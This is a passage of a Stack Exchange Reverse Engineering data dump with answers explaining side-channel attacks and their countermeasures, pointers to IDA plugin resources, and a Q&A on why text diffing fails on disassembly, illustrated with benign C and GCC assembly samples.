  <row Id="1900" PostTypeId="2" ParentId="1897" CreationDate="2013-04-22T19:59:34.400" Score="6" Body="&lt;p&gt;A '&lt;em&gt;side-channel attack&lt;/em&gt;' define any technique that will consider unintended and/or indirect information channels to reach his goal. It has been first defined in smart-card cryptography to describe attacks which are using unintentional information leak from the embedded chip on the card and that can be used in retrieval of keys and data. For example, it may be used by monitoring:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Execution Time&lt;/strong&gt; (Timing attack): To distinguish which operations has been performed and guess, for example, which branch of the code has been selected (and, thus, the value of the test).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Power Consumption&lt;/strong&gt; (Power monitoring attack): To distinguish precisely what sequence of instructions has been performed and be able to recompose the values of the variables. Note that there exist several techniques of analysis using the same input but with slightly different way of analyzing it. For example, we can list: &lt;em&gt;Single Power Analysis&lt;/em&gt; (SPA), &lt;em&gt;Differential Power Analysis&lt;/em&gt; (DPA), &lt;em&gt;High-order Differential Power Analysis&lt;/em&gt; (HO-DPA), &lt;em&gt;Template Attacks&lt;/em&gt;, ...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Electromagnetic Radiation&lt;/strong&gt; (Electromagnetic attacks): Closely related to power consumption, but can also provide information that are not found in power consumption especially on RFID or NFC chips.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you're more interested in learning how to leverage this information then I'd suggest to start by reading &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/1441940391&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Power Analysis Attacks&lt;/a&gt;. Don't get 'scared' away by the fact that the book is about smart cards. Most of the information also applies 1-to-1 on 'normal' (SoC) embedded devices.&lt;/p&gt;&#xA;&lt;p&gt;Forgot to mention there's an open source platform called &lt;a href=&quot;http://sourceforge.net/projects/opensca/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenSCA&lt;/a&gt; and some open source hardware called FOBOS (Flexible Open-source BOard for Side-channel) for which I can't seem to find a proper link from home.&lt;/p&gt;&#xA;&lt;h2&gt;Application to Software Reverse-engineering&lt;/h2&gt;&#xA;&lt;p&gt;Speaking about the application of side-channel attacks in software reverse engineering now, it is more or less any attacks that will rely on using unintended or indirect information leakage. The best recent example is this &lt;a href=&quot;http://shell-storm.org/blog/A-binary-analysis-count-me-if-you-can/&quot; rel=&quot;nofollow noreferrer&quot;&gt;post&lt;/a&gt; from &lt;a href=&quot;https://twitter.com/JonathanSalwan&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jonathan Salwan&lt;/a&gt; describing how he guessed the password of a crackme just by counting the number of instructions executed on various inputs with &lt;a href=&quot;http://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pin&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;More broadly, this technique has been used since long in software reverse-engineering without naming it, or could have improved many analysis. The basic idea is to first consider that if a piece of software is too obscure to understand it quickly, we can consider it as a black-box and think about using a side-channels technique to guess the enclosed data through a guided trial and error technique.&lt;/p&gt;&#xA;&lt;p&gt;The list of side-channels available in software reverse-engineering is much longer than the one we have in hardware. Because it enclose the previous list and add some new channels such as (non exhaustive list):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Instruction Count&lt;/strong&gt;: Allow to identify different behaviors depending on the input.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Read/Write Count&lt;/strong&gt;: Same as above, with more possibilities to identify patterns because it includes also instruction read.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Raised Interrupt Count&lt;/strong&gt;: Depending on what type of interrupt is raised, when and how, you might identify different behaviors and be able to determined the good path to your goal.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Accessed Instruction Addresses&lt;/strong&gt;: Allow to rebuild the parts of the program that are active at a precise moment.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Accessed Memory Addresses&lt;/strong&gt;: Allow to rebuild data pattern or complex data-structure stored or accessed in memory (eg. in the heap).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This list is far from being exhaustive, but basically tools such as Valgrind VM or others can be used to perform such analysis and quickly deduce information about the behavior of a given program, thus speeding up the reverse-engineering.&lt;/p&gt;&#xA;&lt;h2&gt;Obfuscation and Possible Counter-measures&lt;/h2&gt;&#xA;&lt;p&gt;Trying to build a software which will be resistant to such attacks will borrow also a lot from the smart-card industry. But, not only. Here are a few tricks, I could think of (but far from being complete about all we can find).&lt;/p&gt;&#xA;&lt;h3&gt;Armoring Program Branches&lt;/h3&gt;&#xA;&lt;p&gt;The instruction count is extremely efficient to detect which branch has been taken in code like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (value)&#xA;   ret = foo();&#xA;else &#xA;   ret = bar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With &lt;code&gt;foo()&lt;/code&gt; and &lt;code&gt;bar()&lt;/code&gt; having different instruction count.&lt;/p&gt;&#xA;&lt;p&gt;This can be defeated by executing &lt;code&gt;foo()&lt;/code&gt; and &lt;code&gt;bar()&lt;/code&gt; whatever &lt;code&gt;value&lt;/code&gt; is and deciding afterward what is the value of &lt;code&gt;ret&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tmp_foo = foo();&#xA;tmp_bar = bar();&#xA;if (value)&#xA;  ret = tmp_foo;&#xA;else&#xA;  ret = tmp_bar;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This technique render your program much more difficult to guess from a side-channel attack, but also much less efficient. One has to find a proper trade-off.&lt;/p&gt;&#xA;&lt;h3&gt;Countering Timing Attacks&lt;/h3&gt;&#xA;&lt;p&gt;Timing attacks are extremely easy to perform and difficult to workaround because &lt;code&gt;sleep()&lt;/code&gt; cannot be an option (too easy to detect in a code and, anyway you cannot assume a specific speed for the processor). The programmer has to identify the execution time of each branch of his program and to &lt;em&gt;balance&lt;/em&gt; each branch with extra non-useful operations which are of the same computational power than the ones from the other branchs. The point being to render each branch indistinguishable from the others only based on the execution time.&lt;/p&gt;&#xA;&lt;h3&gt;Threading Madness&lt;/h3&gt;&#xA;&lt;p&gt;Another way to dilute the side-channel is to massively multi-thread your program. Imagine that each branch of your program is executed in a separate thread, and one variable tell in which thread the current program really is (if possible in a cryptic manner). Then side-channel analysis will be much more difficult to perform.&lt;/p&gt;&#xA;&lt;h2&gt;Conclusion and Further Research&lt;/h2&gt;&#xA;&lt;p&gt;Side-channel attacks has been widely under-estimated for software reverse-engineering, it can drastically speed-up the reverse of many programs. But, in the same time, obfuscation techniques exists and have to be developed specifically targeting software reverse-engineering. So, don't be surprised if you see more and more novelties related to this field.&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-05-10T13:21:49.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1901" PostTypeId="2" ParentId="1899" CreationDate="2013-04-22T20:00:49.467" Score="4" Body="&lt;p&gt;You can look for manual of &lt;strong&gt;IDA Plug-in in C/C++&lt;/strong&gt; &lt;a href=&quot;http://www.binarypool.com/idapluginwriting/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also You may watch a talk of IDA-Pro Creator &lt;strong&gt;Ilfak Guilfanov on Recon 2008 &quot;BUILDING PLUGINS FOR IDA PRO&quot;&lt;/strong&gt; at &lt;a href=&quot;http://www.securitytube.net/video/285&quot; rel=&quot;nofollow&quot;&gt;SecurityTube&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is also IDAPython to create small automations too. &lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="245" LastEditDate="2013-04-22T21:31:13.813" LastActivityDate="2013-04-22T21:31:13.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1902" PostTypeId="1" AcceptedAnswerId="1903" CreationDate="2013-04-22T21:30:23.277" Score="27" ViewCount="3570" Body="&lt;p&gt;How comes that text diffing tools like &lt;code&gt;diff&lt;/code&gt;, &lt;code&gt;kdiff3&lt;/code&gt; or even more complex ones usually fail at highlighting the differences between two disassemblies in textual form - in particular two &lt;em&gt;related&lt;/em&gt; binary executable files such as different versions of the same program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the question &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/107/gilles&quot;&gt;Gilles&lt;/a&gt; asked &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1879/&quot;&gt;over here&lt;/a&gt; in a comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is diff/meld/kdiff/... on the disassembly not satisfactory?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I thought this question deserves an answer, &lt;a href=&quot;http://blog.stackoverflow.com/2011/07/its-ok-to-ask-and-answer-your-own-questions/&quot;&gt;so I'm giving an answer Q&amp;amp;A style&lt;/a&gt;, because it wouldn't fit into a 600 character comment for some strange reason ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please don't miss out on &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1907/245&quot;&gt;Rolf's answer&lt;/a&gt;, though!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2020-05-11T18:31:30.967" Title="Why are special tools required to ascertain the differences between two related binary code files?" Tags="|tools|disassembly|assembly|bin-diffing|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1903" PostTypeId="2" ParentId="1902" CreationDate="2013-04-22T21:30:23.277" Score="44" Body="&lt;h1&gt;Index (shortened)&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gentle Intro - binary executable code, how does it look?&lt;/li&gt;&#xA;&lt;li&gt;Why it is a hard task to compare binary executable code?&lt;/li&gt;&#xA;&lt;li&gt;Conclusion&lt;/li&gt;&#xA;&lt;li&gt;Solutions&lt;/li&gt;&#xA;&lt;li&gt;TL;DR&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DWTR (too long, don't want to read):&lt;/strong&gt; skip ahead to the section &lt;em&gt;Why it is a hard task to compare binary executable code?&lt;/em&gt; if you feel comfortable with the basics around assembly and disassembly. Alternatively skip to the bottom of this answer (&lt;em&gt;TL;DR&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Gentle Intro - binary executable code, how does it look?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Binary executable code is made for computers to read, this is why it is commonly referred to as &lt;a href=&quot;https://en.wikipedia.org/wiki/Machine_code&quot; rel=&quot;noreferrer&quot;&gt;machine code&lt;/a&gt;. This means it is binary &quot;data&quot; that is usually represented as &lt;a href=&quot;https://en.wikipedia.org/wiki/Hexadecimal&quot; rel=&quot;noreferrer&quot;&gt;hexadecimal numbers&lt;/a&gt; to the naked eye. A category of &lt;a href=&quot;/questions/tagged/tools&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;tools&amp;#39;&quot; rel=&quot;tag&quot;&gt;tools&lt;/a&gt; named &quot;hex editors&quot; exists for this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how this commonly looks, using &lt;a href=&quot;http://hte.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;HTE&lt;/a&gt; for the screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gKhUF.png&quot; alt=&quot;HT Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this is so convenient is because each hex digit represents exactly one nibble, that is 4 bits. So two hex digits can be used to represent a single 8-bit byte (the most common type of byte). Then showing them in multiples of 16 bytes per line has the additional advantage of making it easier to read the hexadecimal offset (given as 8-digit hexadecimal number in front of the hex bytes in the screenshot above), because decimal &lt;code&gt;16&lt;/code&gt; is &lt;code&gt;0x10&lt;/code&gt;. The most common notations for hexadecimal numbers are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;prefix &lt;code&gt;0x&lt;/code&gt;: e.g. &lt;code&gt;0x10&lt;/code&gt; (C and related languages)&lt;/li&gt;&#xA;&lt;li&gt;prefix &lt;code&gt;$&lt;/code&gt;: e.g. &lt;code&gt;$10&lt;/code&gt; (Pascal, Delphi)&lt;/li&gt;&#xA;&lt;li&gt;suffix &lt;code&gt;h&lt;/code&gt;: e.g. &lt;code&gt;10h&lt;/code&gt; (assembly language)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Side-note: the line between code and data is a thin one and disassemblers sometimes struggle to identify the bytes in a binary file as one or the other, although heuristics can be applied to help in the process of identification.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Assembly&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Aside from the &quot;raw&quot; form of hexadecimal numbers there is also the human-readable representation known as &lt;a href=&quot;https://en.wikipedia.org/wiki/Assembly_language&quot; rel=&quot;noreferrer&quot;&gt;assembly language&lt;/a&gt;. This is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Mnemonic&quot; rel=&quot;noreferrer&quot;&gt;mnemonic&lt;/a&gt; form of the binary instructions (or opcodes) and usually represents them 1:1 with very minor abstractions. The notable exception to this are macro assemblers such as &lt;a href=&quot;http://www.microsoft.com/en-us/download/details.aspx?id=12654&quot; rel=&quot;noreferrer&quot;&gt;Microsoft's MASM&lt;/a&gt; which provide a higher levels of abstraction as a convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side-note: the program that digests assembly language code (also &quot;assembly code&quot; or &quot;assembler code&quot;) is called an &lt;strong&gt;assembler&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the type of processor and the exact architecture, various flavors of assembly language exist. For the scope of this question we'll stick with the &lt;a href=&quot;https://en.wikipedia.org/wiki/IA-32&quot; rel=&quot;noreferrer&quot;&gt;IA-32 architecture&lt;/a&gt; - also known as x86 (32bit, &lt;a href=&quot;/questions/tagged/x86&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;x86&amp;#39;&quot; rel=&quot;tag&quot;&gt;x86&lt;/a&gt;), because its origins lie with the 8088 and 8086 processors, with subsequent processor (CPU) models being numbered &lt;code&gt;80x86&lt;/code&gt;, where &lt;code&gt;x&lt;/code&gt; was a one-digit number. Starting with the 80586 Intel departed from that naming scheme as they introduced the Pentium.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, it is good to know that two main processor architectures exist: &lt;a href=&quot;https://en.wikipedia.org/wiki/Complex_instruction_set_computing&quot; rel=&quot;noreferrer&quot;&gt;CISC&lt;/a&gt; (68k, x86, x86-64) and &lt;a href=&quot;https://en.wikipedia.org/wiki/Reduced_instruction_set_computing&quot; rel=&quot;noreferrer&quot;&gt;RISC&lt;/a&gt; (SPARC, MIPS, PPC), whereas the aficionados of one or the other have claimed victory for their preferred architecture at one time or another, both still exist to this very day, although at the microcode level one could even argue CISC architectures to be RISC &quot;internally&quot;. That said, x86 &lt;em&gt;is&lt;/em&gt; a CISC architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to give you glimpse of what RISC and CISC look like in comparison, let's look at a few basic x86 and &lt;a href=&quot;https://en.wikipedia.org/wiki/MIPS_architecture&quot; rel=&quot;noreferrer&quot;&gt;MIPS instructions&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; x86          |    MIPS              | Meaning&#xA;-----------------------------------------------&#xA; mov          | lb, lw, sb, move     | copy/&quot;move&quot; value from/to register/memory location&#xA; jmp, jz, jnz | j/b, beq, beqz, bgez | jump unconditionally or on condition&#xA; call         | jal                  | call other routine / jump and link&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What hopefully becomes clear at first glance (line with &lt;code&gt;mov&lt;/code&gt;) is the fact that in MIPS you heave a much larger number of very basic instructions than x86, which is the gist of the CISC versus RISC paradigm. Another thing is that we see how MIPS uses &lt;code&gt;j&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; as the mnemonic prefix for jump and branch (the difference being generally the distance these &quot;jumps&quot; can cover), whereas x86 uses also &lt;code&gt;j&lt;/code&gt; as in &lt;code&gt;jmp&lt;/code&gt; (unconditional jump), &lt;code&gt;jnz&lt;/code&gt; (jump if not zero[-flag set]) but also has a dedicated &lt;code&gt;call&lt;/code&gt; opcode which MIPS to my knowledge doesn't have - the closest approximation probably being &lt;code&gt;jal&lt;/code&gt; (jump and link) which also stores the &lt;a href=&quot;https://en.wikipedia.org/wiki/Program_counter&quot; rel=&quot;noreferrer&quot;&gt;program counter&lt;/a&gt; in a register as opposed to x86's &lt;code&gt;call&lt;/code&gt;, though, which stores it on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In CISC you can do a relatively complex operation with a single instruction, where in RISC you often need several instructions to express the same thing. In fact assemblers for RISC architectures tend to have so-called pseudo-instructions which combine oft-used combinations of instructions, but which get translated to individual RISC instructions during the translation phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be the &lt;code&gt;ror&lt;/code&gt; (bit-rotate right) instruction. On an x86 (CISC) this is an opcode in its own right with the &lt;code&gt;ror&lt;/code&gt; mnemonic. On MIPS (RISC) this is a pseudo-instruction if and when the assembler offers it and it gets translated as follows (bit-rotate the value in register &lt;code&gt;$t2&lt;/code&gt; by one bit and store result in &lt;code&gt;$t2&lt;/code&gt; again):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ror $t2, $t2, 1    --&amp;gt;   sll $1 , $10, 31  (bit-shift $10 left by 31, store in $1)&#xA;                         srl $10, $10, 1   (bit-shift $10 right by 1, store in $10)&#xA;                         or  $10, $10, $1  (bit-wise or $1 and $10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example is taken from the book referenced a bit further down from here (&lt;em&gt;MIPS resources&lt;/em&gt;), page 370.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, we won't dig further into assembly language &lt;em&gt;basics&lt;/em&gt; and instead focus on answering the question. I think it is not necessary to understand much more than the most fundamental facts to understand why simple and even complex diff tools fail at showing the differences of binary executable files.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Compilers and assembly language&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Compiler&quot; rel=&quot;noreferrer&quot;&gt;Compilers&lt;/a&gt; (&lt;a href=&quot;/questions/tagged/compilers&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;compilers&amp;#39;&quot; rel=&quot;tag&quot;&gt;compilers&lt;/a&gt;) convert code constructs usually written by humans or machines into machine code [*]. The usual translation is to translate the human-readable source code into an intermediate form which gets then optimized and after optimization translated to assembly language which in turn gets translated to machine code. This is shown beautifully in the Wikipedia article above, with the diagram I am reproducing here below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aHGlr.png&quot; alt=&quot;How a compiler works&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gist is, that compilers usually have an assembler somewhere in their back end, even though you may never get to see the actual assembly language instructions yourself. If you wanted to get it, you would use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With GCC: &lt;code&gt;gcc -S ...&lt;/code&gt; (AT&amp;amp;T syntax) or &lt;code&gt;gcc -masm=intel -S ...&lt;/code&gt; (Intel syntax)&lt;/li&gt;&#xA;&lt;li&gt;With Microsoft Visual C++: &lt;code&gt;cl.exe /Fa ...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[*] this is not the entire truth, as there are compilers which will create an intermediate &lt;a href=&quot;https://en.wikipedia.org/wiki/Byte_code&quot; rel=&quot;noreferrer&quot;&gt;byte code&lt;/a&gt; which then later gets translated further into machine code native to the CPU it is running on or interpreted on-the-fly. But for the scope of this answer we'll consider compilers to be the entities that convert human-readable high-level language source code into machine code through a number of processing stages, one of which involves assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: some compilers, such as Embarcadero Delphi will hide the different stages from you and present the process from compiling to linking as one opaque step. This can cause some confusion in Delphians attempting to learn C/C++ which &lt;em&gt;expose&lt;/em&gt; the different steps.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Intel versus AT&amp;amp;T syntax&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For x86 there exist two competing syntax variants. The AT&amp;amp;T syntax is favored in the *nix world and by &lt;a href=&quot;https://en.wikipedia.org/wiki/GNU_Assembler&quot; rel=&quot;noreferrer&quot;&gt;GASM&lt;/a&gt;, Intel in the Windows world and most disassemblers and assemblers. Consider this simple C program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    printf(&quot;Hello world!\n&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and the translations with the AT&amp;amp;T (&lt;code&gt;gcc -S hello.c&lt;/code&gt; or explicitly &lt;code&gt;gcc -masm=att -S hello.c&lt;/code&gt;) and Intel (&lt;code&gt;gcc -masm=intel -S hello.c&lt;/code&gt;) syntax respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; AT&amp;amp;T                        |  Intel&#xA;------------------------------------------------------------------------&#xA;.LC0:                        | .LC0:&#xA;    .string &quot;Hello world!&quot;   |     .string &quot;Hello world!&quot;&#xA;    .text                    |     .text&#xA;.globl main                  | .globl main&#xA;    .type   main, @function  |     .type   main, @function&#xA;main:                        | main:&#xA;    pushl   %ebp             |     push    ebp&#xA;    movl    %esp, %ebp       |     mov ebp, esp&#xA;    andl    $-16, %esp       |     and esp, -16&#xA;    subl    $16, %esp        |     sub esp, 16&#xA;    movl    $.LC0, (%esp)    |     mov DWORD PTR [esp], OFFSET FLAT:.LC0&#xA;    call    puts             |     call    puts&#xA;    movl    $0, %eax         |     mov eax, 0&#xA;    leave                    |     leave&#xA;    ret                      |     ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll notice how the syntax differs. Registers in AT&amp;amp;T syntax are denoted with the &lt;code&gt;%&lt;/code&gt;, literal values with &lt;code&gt;$&lt;/code&gt; and the position of source and destination register is the inverse of the Intel syntax. Furthermore some of the mnemonics differ (&lt;code&gt;movl&lt;/code&gt; instead of &lt;code&gt;mov&lt;/code&gt;). In Intel syntax the size of the operands helps to infer the intended operation - in case of registers this is made explicit by using EAX, AX and AL/AH respectively to denote the &lt;code&gt;DWORD&lt;/code&gt; (32bit), &lt;code&gt;WORD&lt;/code&gt; (16bit) and &lt;code&gt;BYTE&lt;/code&gt; (8bit) sizes. However, the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov DWORD PTR [esp], OFFSET FLAT:.LC0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;shows neatly how you have to be explicit about the size of memory locations to get it right. The AT&amp;amp;T &lt;code&gt;movl&lt;/code&gt; mnemonic implies this because of its inherent meaning of &quot;move long&quot; (32bit here), so no need to mention that we are accessing a &lt;code&gt;DWORD&lt;/code&gt; other than in the &lt;code&gt;l&lt;/code&gt; in &lt;code&gt;movl&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note:&lt;/strong&gt; I trimmed some irrelevant parts at the top and the bottom of the generated assembly code for brevity.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;MIPS resources&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For the inclined reader I would recommend getting a copy of the excellent, albeit pricey:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Introduction to Assembly Language Programming&quot;, 2nd ed., by Sivarama P. Dandamudi, Springer 2004/2005 (ISBN 978-0-387-20636-3)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to experiment with MIPS, you can get &lt;a href=&quot;http://spimsimulator.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;SPIM&lt;/a&gt;, refer to its documentation or simply use a search engine to find useful information such as this &lt;a href=&quot;http://people.cs.pitt.edu/~xujie/cs447/Mips/sub.html&quot; rel=&quot;noreferrer&quot;&gt;Quick Tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;x86 resources&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The book mentioned above in the MIPS resources also discusses x86 assembly&lt;/li&gt;&#xA;&lt;li&gt;Randall Hyde's &lt;a href=&quot;http://www.plantation-productions.com/Webster/www.artofasm.com/index.html&quot; rel=&quot;noreferrer&quot;&gt;&quot;Art of Assembly&quot; book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woodmann.com/RCE-CD-SITES/Iczelion/&quot; rel=&quot;noreferrer&quot;&gt;Iczelion's old website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Again, use a search engine to find more information or consult the documentation of your favorite assembler, such as &lt;a href=&quot;http://nasm.us/&quot; rel=&quot;noreferrer&quot;&gt;NASM&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Disassembly&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The process of translating the binary machine language back to a mnemonic representation, usually 1:1, is called &lt;strong&gt;disassembling&lt;/strong&gt; or &lt;strong&gt;disassembly&lt;/strong&gt;. The result of the process is commonly referred to as &lt;strong&gt;disassembly&lt;/strong&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool used for the process is called a &lt;strong&gt;disassembler&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is mostly a 1:1 process just like the reverse (assembly to machine code) there is no need to go into much more detail. There is one big difference between hand-written or compiler-generated assembly versus disassembly of the resulting binary code, and we'll see that a bit better by comparing the output of a disassembler and a compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So without much further ado let's go to a practical example that shows why diffing is hard.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Why it is a hard task to compare binary executable code?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; For the remainder of this answer we'll use the Intel syntax for the assembly code. We'll also have some redundant parts of GCCs output removed for brevity.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sample program - first iteration&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;C version&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In our first iteration we have the following C code (I named it &lt;code&gt;ptest1.c&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int syntax_help(int argc)&#xA;{&#xA;        return 20 + argc;&#xA;}&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;        if (argc &amp;lt; 3)&#xA;                return syntax_help(argc);&#xA;        else if (argc == 3)&#xA;                return 42;&#xA;        // else ...&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Assembly language version (with GCC, Intel syntax)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;... compiling this into assembly with &lt;code&gt;gcc -O0 -masm=intel -S -o ptest1.asm ptest1.c&lt;/code&gt; gives us:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.globl syntax_help&#xA;        .type   syntax_help, @function&#xA;syntax_help:&#xA;        push    ebp&#xA;        mov     ebp, esp&#xA;        mov     eax, DWORD PTR [ebp+8]&#xA;        add     eax, 20&#xA;        pop     ebp&#xA;        ret&#xA;        .size   syntax_help, .-syntax_help&#xA;.globl main&#xA;        .type   main, @function&#xA;main:&#xA;        push    ebp&#xA;        mov     ebp, esp&#xA;        sub     esp, 4&#xA;        cmp     DWORD PTR [ebp+8], 2&#xA;        jg      .L4&#xA;        mov     eax, DWORD PTR [ebp+8]&#xA;        mov     DWORD PTR [esp], eax&#xA;        call    syntax_help&#xA;        jmp     .L5&#xA;.L4:&#xA;        cmp     DWORD PTR [ebp+8], 3&#xA;        jne     .L6&#xA;        mov     eax, 42&#xA;        jmp     .L5&#xA;.L6:&#xA;        mov     eax, 0&#xA;.L5:&#xA;        leave&#xA;        ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Sample program - second 